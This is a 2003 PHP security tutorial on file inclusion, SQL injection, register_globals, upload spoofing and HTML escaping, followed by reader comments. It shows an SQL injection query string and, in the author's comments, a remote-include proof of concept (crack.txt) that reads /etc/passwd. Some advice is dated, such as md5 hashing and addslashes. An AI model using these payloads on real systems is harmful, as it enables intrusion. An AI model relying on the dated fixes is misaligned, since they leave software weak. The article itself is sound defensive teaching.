Ten Security Checks for PHP, Part 1

by Clancy Malcolm
03/20/2003

Web applications have become a popular way to provide global access to data, services, and products. While this global access is one of the Web's underlying advantages, any security holes in these applications are also globally exposed and frequently exploited. It is extremely easy to write applications that contain unintentional security holes. This is demonstrated by the range of common web applications, including PHPMyAdmin, PHPShop and FreeTrade, that have contained major security holes. The source code is often required to identify these holes, but it is common to make the source code of these applications available to the public. This article provides five steps to help identify or avoid such security holes in applications written using PHP.

Avoid Using Variables When Accessing Files

Consider the following code:

// $lib_dir is an optional configuration variable
include($lib_dir . "functions.inc");

or worse still:

// $page is a variable from the URL
include($page);

The user could set the $lib_dir or $page variables and include files such as /etc/passwd or remote files such as http://www.some-site.com/whatever.php with malicious code. This malicious code could potentially delete files, corrupt databases, or change the values of variables used to track authentication status.

What to Look For

Search code for the following functions:

readfile
fopen
file
include
require

Possible Fixes or Improvements

Avoid using variables as file names. The $lib_dir variable above could be replaced with a value defined by the PHP define function.

Check the file name against a list of valid file names. For example,

$valid_pages = array(
	"apage.php"   => "",
	"another.php" => "",
	"more.php"    => "");

if (!isset($valid_pages[$page])) {
	// Abort the script
	// You should probably write a log message here too
	die("Invalid request");
}

If you must really use a variable from the browser, check the variable's value using code like the following:

if (!(eregi("^[a-z_./]*$", $page) && !eregi("\\.\\.", $page))) {
	// Abort the script
	// You should probably write a log message here too
	die("Invalid request");
}

See Do Not Trust Global Variables for further steps on ensuring variables cannot be maliciously set.
Use the allow_url_fopen and open_basedir configuration variables to limit the locations where files can be opened from.

Escape characters in SQL statements

A common mistake is to use a variable value supplied by the user or the URL in an SQL query without escaping special characters. Consider the following fragment of code from a script designed to authenticate a username and password entered in a HTML form:

$query = "SELECT * FROM users WHERE username='" . $username . "' 
          AND password='" . $password . "'";

// the record exists function is defined elsewhere
if (record_exists($query)) {
	echo "Access granted";
} else {
	echo "Access denied";
}

his code would work when accessed using check.php?username=admin&password=x. However, if the code were accessed using check.php?username=admin&password=a%27+OR+1%3Di%271 (and if magic_quotes_gpc were disabled) then the password condition becomes Password='a' or 1='1' so that the admin user record would always be returned regardless of the password it contained.

This problem is partly avoided when the magic_quotes_gpc variable is on in the php.ini file, meaning that PHP will escape quotes in GET, POST, and cookie data using the \ character. However, magic_quotes_gpc is frequently disabled because it could make other code behave strangely. Given a line containing echo $username in the above code fragment, any occurrences of ' would be replaced by \'). Furthermore the magic_quotes_gpc variable does not protect against variable values obtained from sources such as database records or files which a malicious user may have already modified during normal program operation.

What to Look For

Search for the query functions for your database. For example, if you are using MySQL, search for usage of the mysql_db_query function.

Possible Fixes or Improvements

Use the built-in addslashes function or a similar function to escape quotes and backslashes in SQL statements with backslashes.
Enabling magic_quotes_gpc may help, but don't rely upon it. (Enabling this setting and using addslashes will produce errors).
If you are using variables which you expect to contain numbers in your SQL statement, ensure that they really do contain numbers. You can use various built-in PHP functions including sprintf, ereg and is_long, to perform this check.

Do Not Trust Global Variables

If the register_globals option is enabled, PHP will create global variables for each GET, POST, and cookie variable included in the HTTP request. This means that a malicious user may be able to set variables unexpectedly. Consider the following code aimed to allow anonymous access to a single article and require authentication for all other articles:

// Assume $article_id is set by the URL
if ($article_id == 0) {
	$guest_ok = true;
}

if (!$guest_ok) {
	// Check user is authenticated using a function defined elsewhere
	check_auth();
}

This code may appear to work, because the $guest_ok variable will generally be initialized to false. However, if a malicious user includes guest_ok=1 in the URL, he will be granted access to any article in the system.

A similar problem can arise when you perform security checks when showing links to pages but do not perform security checks on the linked pages themselves. In a system where users are granted access to a select list of articles, you should perform security checks when producing the list of available articles and when displaying an article selected from the list. Without this checking, a malicious user could type URLs for articles to which he should not have access and view the article successfully. Another common variation of this problem is to implement a "Remember My Login" feature by storing a user identifier in a cookie, allowing users to change their cookie value to login as whomever they want.

What to Look For

This problem can appear almost anywhere in your code. Pay careful attention to the following areas:

Authentication and permission checking code
Use of variables before they are initialized. (You can set the error_reporting configuration variable to give a warning whenever uninitialized variables are used.)
Use of variables designed to be set by GET or POST requests.

Possible Fixes or Improvements

Disable register_globals in your php.ini file. After making this change, you will need to use the $HTTP_GET_VARS and $HTTP_POST_VARS associative arrays to access GET and POST inputs instead of using global variables. This can be tedious, but also far more secure.
If a "Remember My Login" function is required, include a password or a hard to guess random identifier in the cookie. (A "Remember My Login" function can still produce other holes such as malicious user who shares a machine with a legitimate user to gain access.)
Write code to initialize all global variables. The previous code fragment could be improved by initializing $guest_ok to false at the start of the script.
Ensure session variables really do come from the session and not from a malicious user.
Write code to check that a global variable is not in the $HTTP_POST or $HTTP_GET associative arrays.

Avoid False Uploads

File uploads can suffer from a severe case of the untrusted global variables problem that is worth considering as an additional problem. When a file is uploaded, a PHP script is given a variable that provides the name of the temporary file where PHP saves the uploaded file. However, the user could construct a URL that sets this variable to a malicious value such as /etc/passwd and not upload a file. The responding script may then copy that file to an accessible location or display the file's contents to the user.

What to Look For

Examine all scripts that respond to file uploads. Searching for type="file" may help identify these scripts.

Possible Fixes or Improvements

Recent versions of PHP have the is_uploaded_file and move_uploaded_file functions that allows the programmer to ensure that they are working with uploaded files.
If you are not sure that your code will be running on a recent version of PHP, set the upload_tmp_dir configuration setting and then perform input checking to ensure that the file you are working with is in this directory.

Escape HTML Characters in Text

What happens if somebody puts a <blink> tag in a posting to a discussion board? If you don't escape HTML characters in text either before you save or display it, all subsequent text on the page could be blinking. More severe versions of this attack are also possible; for example an attacker could write JavaScript that takes the browser to a competitor's site.

What to Look For

Identify pages which display text entered by untrusted users.

Possible Fixes or Improvements

Escape HTML appropriately either before you save it or before you display it. You can use PHP's built-in functions htmlspecialchars or htmlentities for this purpose.
If you want untrusted users to use HTML for formatting, you should perform validation to restrict the available HTML tags to a basic tags set, like <b> and <i>.

Further Ideas

Part two of this article will feature five more security checks for PHP. In the meantime, here are three ideas to keep in mind as you design your application.

Encrypt or use hashes of passwords when storing them (PHP's md5 function is useful for this)
Don't store credit card numbers: it is generally better to use a third-party payment gateway instead
Enforce strong passwords. Password strength requirements vary from application to application, but consider, at a minimum, enforcing passwords that are at least six characters long and contain some non-alphanumeric characters.

Clancy Malcolm is a private web application consultant and contributes to numerous open source projects.

Return to the PHP DevCenter.

Comments on this article

Showing messages 1 through 26 of 26.

Register Globals on
2003-05-22 23:21:49 anonymous2 [View]

I am aware of the fact that its a security risk to set the register globals on in php.ini.

But still cant figure out , how a potential bad user can make advantage of that and misuse it.

Register Globals on
2003-05-22 23:55:36 clancymalcolm [View]

It IS possible to write "secure" PHP applications with register globals turned on - it is just harder than if they were turned off. For example, a couple of years ago I discovered a security flaw in PHPShop where you could bypass their authentication system by passing it some values in the URL that set global variables to fool it in to thinking you were logged in. It was possible to fix this problem by making sure the variables were explicitly unset in the code before checking the authentication, but the problem never would have occurred if register_globals was turned off.

Hope this helps.

Cheers,
Clancy

Register Globals on
2003-05-26 04:42:37 anonymous2 [View]

Thanks for the reply..
That means that if and only if the data is being passed vai GET method, the question of security in regard to register globals on, comes into play..
what if the method used is POST?

Thanks again for the reply

Cheers

Register Globals on
2003-05-26 11:13:56 anonymous2 [View]

Using POST instead of GET does not secure any script at all. Imagine creating your custom form on your local machine and directing the action to http://www.somwhere.net/someaction.php

Register Globals on
2007-03-01 11:52:54 andrwe [View]

My method for securing where POST data comes from is thus:

$referer = $_SERVER['HTTP_REFERER'];
if ($referer != "http://www.domain.com/form.html") {
echo "nice try!";
} else {
process_form();
}

Any downside to that (other than having to change the URL upon upload)?

Register Globals on
2008-07-01 11:13:49 davidrrm [View]

That's certainly not a certain test though. I could create a program to do the post and it would set HTTP_REFERER to what you are looking for.

Register Globals on
2007-03-01 14:10:51 Clancy Malcolm | [View]

The value of $_SERVER['HTTP_REFERER'] comes from the Referer header in the HTTP request constructed by the client software. If the client is a regular browser, the referer will probably be set correctly, but the referer request header could be forged by a malicious user.

Clancy

Not the kind of article i would expect from o'reilly!
2003-03-28 09:48:45 anonymous2 [View]

First, include("http://www.some-BAD-site.com/whatever.php") can't really do any harm, since it is executed on the some-bad-site.com, and not on the targeted machine.

Other stuff like POST and GET global issues have been dealt with php team, and using $_SUPERGLOBALS. This is also true for $_FILES, that can't be tricked in the described way.

That *where* good security tips, but maybe a year or two ago..

..Not the kind of article i would expect from o'reilly..

zombie

Not the kind of article i would expect from o'reilly!
2005-02-06 03:49:12 bbbbbbbbbbbbbb [View]

"First, include("http://www.some-BAD-site.com/whatever.php") can't really do any harm, since it is executed on the some-bad-site.com, and not on the targeted machine."

Obviously, you assume that www.some-BAD-site.com is running php.

Then, what if it doesn't,eh? ;)

Not the kind of article i would expect from o'reilly!
2005-02-06 13:52:17 Clancy Malcolm | [View]

"Obviously, you assume that www.some-BAD-site.com is running php."

No, in fact it is assumed that www.some-BAD-site.com is NOT running PHP and it provides raw PHP code to the server that runs the include statement. This is the essence of this security risk - the PHP engine will execute PHP code loaded from a different web site.

Not the kind of article i would expect from o'reilly!
2003-03-29 05:08:06 anonymous2 [View]

Include *can* harm o your server, read the comments in the PHP documentation before you spread misinformation:

http://www.php.net/manual/en/function.include.php

Not the kind of article i would expect from o'reilly!
2003-05-23 00:10:42 clancymalcolm [View]

To further clarify how include(...) can harm your own server...

I can upload a file to my webserver called crack.txt that contains the following:
<?php
readfile("/etc/passwd");
?>

Notice that this is a .txt file - my web server won't execute the PHP code contained in the file.

Now if I can make YOUR web server run the code
include("http://www.mywebserver.com/crack.txt");

Then YOUR web server will show me it's /etc/passwd file. Of course I could have done almost anything else in my source code - delete files, run other programs, etc - almost anything that the web server's user account has permissions to do.

Clancy.

Example of recent exploit
2003-03-26 02:56:24 clancymalcolm [View]

I was looking for an existing PHP bookmarking program today when I noticed comments about a recent register_globals exploit in Active PHP Bookmarks. I thought this was an interesting example of how common these bugs still are and the results they can have:

http://freshmeat.net/projects/apb/?topic_id=92%2C93%2C243
and
http://lbstone.com/apb/

Nicer code
2003-03-24 13:42:28 anonymous2 [View]

Hi guys,
I find this code better than yours:

$valid_pages = array ('apage.php',
'another.php',
'more.php');
if (!in_array($page, validpages)){
// Abort the script
// You should probably write a log message here too
die("Invalid request");
}

instead of:

$valid_pages = array(
"apage.php" => "",
"another.php" => "",
"more.php" => "");

if (!isset($valid_pages[$page])) {
// Abort the script
// You should probably write a log message here too
die("Invalid request");
}

Yours

Gustavo el Geranie

Nicer code
2009-01-23 20:03:51 NinjaTech [View]

Your code may seem better, because it looks a bit cleaner, however his is quicker than yours, because it uses buckets and doesn't have to search the array to find every match.

get/post
2003-03-24 07:37:27 anonymous2 [View]

$HTTP_*_VARS are NOT obsolete. You need to use these for sites running versions of PHP prior to 4.1.

get/post
2004-11-17 03:56:54 Lancelotti [View]

Cant you use this to security of your incluedes.

$page = "path_to_file/$_GET[page].php";
// put de get variable in string, and indicated de directory where your subpages are

if (!file_exists($page)) {
$page = "index.php";
}
// if file not exists use the index.php

include($page);
// include de file

Note. Include all your subpages in path_to_file and your extension may be .php

get/post
2004-11-17 15:05:41 Clancy Malcolm | [View]

Lancelotti,

The above code provides a little security - it limits people to only including PHP files from the local machine. However, a user can choose ANY PHP file on the machine (subject to the web server's account permissions) and include that file by using a value for page like '../../example'.

You could prevent this by checking the value using a regular expression (maybe '^[a-z_]*$') or by using the realpath function to check that the resulting page is still in the desired directory.

(Note that if you were using the safe_mode setting it would be a bit different, but may still be insecure).

Hope this helps.

Regards,
Clancy

get/post
2003-03-25 08:37:05 bblackmoor [View]

$HTTP_POST/GET_VARS are obsolete. No one should be using old versions of PHP. Use $_GET and $_POST.

magic quotes
2003-03-24 06:13:55 anonymous2 [View]

> We have had magic_quotes_gpc on for over a
> year and constantly use addslashes on user
> input before inserting it into an sql
> database.

Because the magic_quotes_gpc is going to automatically add slashes to your input and then you're manually calling addslashes(), which will prepend every slash that magic_quotes just added with a another slash. You're unnecessarily doubling up every occurence of a slash. The only safe way to use the addslashes function with magic_quotes is something like this:

if (!ini_get('magic_quotes_gpc')) {
entry = addslashes ($entry);
}

magic quotes
2003-03-24 13:27:20 clancymalcolm [View]

This is correct, but don't forget that even if you have magic_quotes_gpc turned on you will still need to use the addslashes for data that isn't coming from the get/post/cookie data.

magic quotes
2003-03-26 09:51:33 melvyn [View]

This is easily done by using the following function (you could even extend it with a second argument say "$which='gpc'"):
===========
function safe_addslashes($string)
{
static $setting;

if(empty($setting))
{
$setting = (get_magic_quotes_gpc()) ? 'yup' : 'nope';
}

return ($setting == 'yup') ? $string : addslashes($string);
}
===========
And it's counterpart:
===========
function safe_stripslashes($string)
{
static $setting;

if(empty($setting))
{
$setting = (get_magic_quotes_gpc()) ? 'yup' : 'nope';
}

return ($setting == 'yup') ? stripslashes($string) : $string;
}
===========
Using a simple find/sed|perl combination you can change all calls to add|stripslashes in your files relatively easy and can switch the magic_quotes_gpc option on and off at will, without this affecting security nor output.

HTH

get/post
2003-03-22 01:49:45 anonymous2 [View]

$HTTP_POST/GET_VARS are obsolete by now. Use $_GET and $_POST - see http://www.php.net/manual/en/language.variables.predefined.php

get/post
2003-10-14 09:43:15 anonymous2 [View]

$HTTP_GET/POST _VARS are not obsolete, they are deprecated. This has a different meaning to obsolete. They are also different variables, and are handled differently by the Zend engine.

magic quotes
2003-03-21 07:39:59 anonymous2 [View]

I'm not sure what you meant by the statement magic_quotes_gpc being on will cause addslashes to give an error. We have had magic_quotes_gpc on for over a year and constantly use addslashes on user input before inserting it into an sql database. Could you clarify conditions in which magic_quotes_gpc will cause addslashes to generate an error, I have never seen one.

magic quotes
2003-03-24 13:25:09 clancymalcolm [View]

To demonstrate how combining addslashes with the magic_quotes_gpc = On, consider the following PHP script called test.php:

<?php
$foo = "te'st";
echo "foo=$foo<br>";
echo "bar=" . $_GET["bar"] . "
";

$query = sprintf("UPDATE mytable SET foo='%s', bar='%s' WHERE id=1", addslashes($foo), addslashes($_GET["bar"]));
echo "query=$query
";
?>

If you don't use addslashes then the value of foo will cause an error, but if you do use addslashes you will get an extra \ in the value of the bar field.

Hope this clarifies my point.

Cheers,
Clancy

View All RSS Feeds >

800-889-8969 or 707-827-7019
Monday-Friday 7:30am-5pm PT
©2011, O'Reilly Media, Inc.
All trademarks and registered trademarks appearing on oreilly.com are the property of their respective owners.